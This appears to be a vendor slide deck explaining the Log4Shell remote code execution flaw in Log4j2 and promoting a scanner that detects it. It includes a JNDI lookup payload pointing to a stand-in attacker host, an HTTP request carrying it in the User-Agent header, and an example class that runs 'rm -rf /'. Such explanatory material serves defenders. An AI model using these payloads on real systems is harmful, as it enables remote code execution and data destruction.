LOG4SHELL Vulnerability

All you need to know
THE LOG4SHELL VULNERABILITY

- Critical remote code execution vulnerability in Log4j2 Java logging framework
  - CVE-2021-44228, CVSS 10.0
- Vulnerability triggered when attacker-controlled string is logged using Log4j2 -
  ```java
  static Logger log = LogManager.getLogger();
  log.info("... ${jndi:ldap://attacker-srv.com/foo} ...");
  ```

- Why so critical?
  - Exploitation of the vulnerability is trivial and persistent
    - Public exploits are available
  - Log4j2 is massively popular
  - It is very likely that untrusted input will reach a logging function
    - Most common attack vector is HTTP “User-Agent” which is usually logged -

GET / HTTP/1.1
Host: vulnerable-srv.com
User-Agent: ${jndi:ldap://attacker-srv.com/foo}
The vulnerability is an “Unsafe class deserialization”
Caused due to the “Message Lookup” feature of log4j
  - Given logger input - Running ${java:runtime}
  - The logger output will be - Running Java version 1.7.0_67
A special type of lookup allows retrieving variable values from classes

However -
  - The class can be hosted remotely (retrieved through the LDAP or RMI protocols)
  - The class is deserialized (executed) when retrieved
This means that a malicious logged string can cause a retrieval and execution of a malicious class hosted remotely!
LOG4SHELL ATTACK DIAGRAM

Attacker sends a JNDI reference:

- javaCodeBase: http://attacker-srv.com
- javaClassName: Exploit
- objectClass: javaNamingReference

LDAP Query

LDAP Response

HTTP GET

HTTP Response

In the application code:

```java
static Logger log = LogManager.getLogger();
log.info("... ${jndi:ldap://attacker-srv.com/foo} ...");
```

Arbitrary Java code execution:

```java
class Exploit {
    static {
        Runtime.getRuntime().exec("rm -rf /");
    }
}
```
XRAY DETECTION

- Xray detects CVE-2021-44228 from day one, in all scanned artifacts
Thank you!